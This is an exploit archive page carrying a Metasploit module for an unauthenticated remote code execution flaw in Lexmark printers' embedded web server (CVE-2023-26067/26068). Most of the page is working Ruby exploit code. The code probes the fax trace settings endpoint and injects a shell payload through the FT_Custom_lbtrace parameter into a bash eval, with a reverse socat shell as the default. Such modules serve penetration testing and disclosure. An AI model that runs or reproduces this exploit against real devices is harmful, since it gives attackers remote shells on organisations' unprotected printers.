exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Lexmark Device Embedded Web Server Remote Code Execution

Lexmark Device Embedded Web Server Remote Code Execution
Posted Sep 19, 2023
Authored by jheysel-r7, James Horseman, Zach Hanley | Site metasploit.com

An unauthenticated remote code execution vulnerability exists in the embedded webserver in certain Lexmark devices through 2023-02-19. The vulnerability is only exposed if, when setting up the printer or device, the user selects "Set up Later" when asked if they would like to add an Admin user. If no Admin user is created, the endpoint /cgi-bin/fax_change_faxtrace_settings is accessible without authentication. The endpoint allows the user to configure a number of different fax settings. A number of the configurable parameters on the page fail to be sanitized properly before being used in a bash eval statement, allowing for an unauthenticated user to run arbitrary commands.

tags | exploit, remote, arbitrary, cgi, code execution, bash
advisories | CVE-2023-26067, CVE-2023-26068
SHA-256 | 55b25ea44278a5136992f906756ff24cc7e2991ab7847a6388c6522fffc7a70a

Lexmark Device Embedded Web Server Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Retry
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Lexmark Device Embedded Web Server RCE',
'Description' => %q{
A unauthenticated Remote Code Execution vulnerability exists in the embedded webserver in certain Lexmark devices through 2023-02-19.
The vulnerability is only exposed if, when setting up the printer or device, the user selects "Set up Later" when asked
if they would like to add an Admin user. If no Admin user is created the endpoint `/cgi-bin/fax_change_faxtrace_settings`
is accessible without authentication. The endpoint allows the user to configure a number of different fax settings.

A number of the configurable parameters on the page (ex. `FT_Custom_lbtrace`) fail to be sanitized properly before being
used in an bash eval statement: `eval "$cmd" > /dev/null`, allowing for an unauthenticated user to run arbitrary commands.
},
'Author' => [
'James Horseman', # Analysis & PoC
'Zach Hanley', # Analysis & PoC
'jheysel-r7' # Msf module
],
'References' => [
[ 'URL', 'https://github.com/horizon3ai/CVE-2023-26067'],
[ 'URL', 'https://publications.lexmark.com/publications/security-alerts/CVE-2023-26068.pdf'],
[ 'URL', 'https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022/'],
[ 'CVE', '2023-26068']
],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Privileged' => false,
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Unix (In-Memory)',
{
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_socat_tcp'
}
}
]
],
'Payload' => {
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'socat'
}
},
'DefaultTarget' => 0,
'DisclosureDate' => '2023-03-13',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)

register_options(
[
OptInt.new('SLEEP', [true, 'Sleep time to wait for the printer to wake', 10]),
]
)
end

def check
send_wakeup
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/cgi-bin/fax_change_faxtrace_settings'),
'method' => 'GET'
)

return Exploit::CheckCode::Unknown('The target did not respond ') unless res
return Exploit::CheckCode::Safe('The target does not seem to be vulnerable') unless res.code == 200 && res.get_xml_document.xpath('//title').text == 'Fax Trace Settings'

Exploit::CheckCode::Appears('The vulnerable endpoint "/cgi-bin/fax_change_faxtrace_settings" is reachable')
end

# If the printer has been inactive for some time it might be sleeping, in which case it's best to send a request
# or two to wake it up before running the check method or exploit.
def send_wakeup
retry_until_truthy(timeout: datastore['SLEEP']) do
print_status('Waking up the printer...')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/cgi-bin/fax_change_faxtrace_settings'),
'method' => 'HEAD'
)
break if res && res.code == 200
end
end

def exploit
if datastore['ForceExploit'] || !datastore['AutoCheck']
send_wakeup
end

print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/cgi-bin/fax_change_faxtrace_settings'),
'method' => 'POST',
'data' => "FT_Custom_lbtrace=3;$(#{payload.encoded});#"
)
print_error('A response to the exploit attempt was received. This indicates the exploit was likely unsuccessful') if res
end
end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close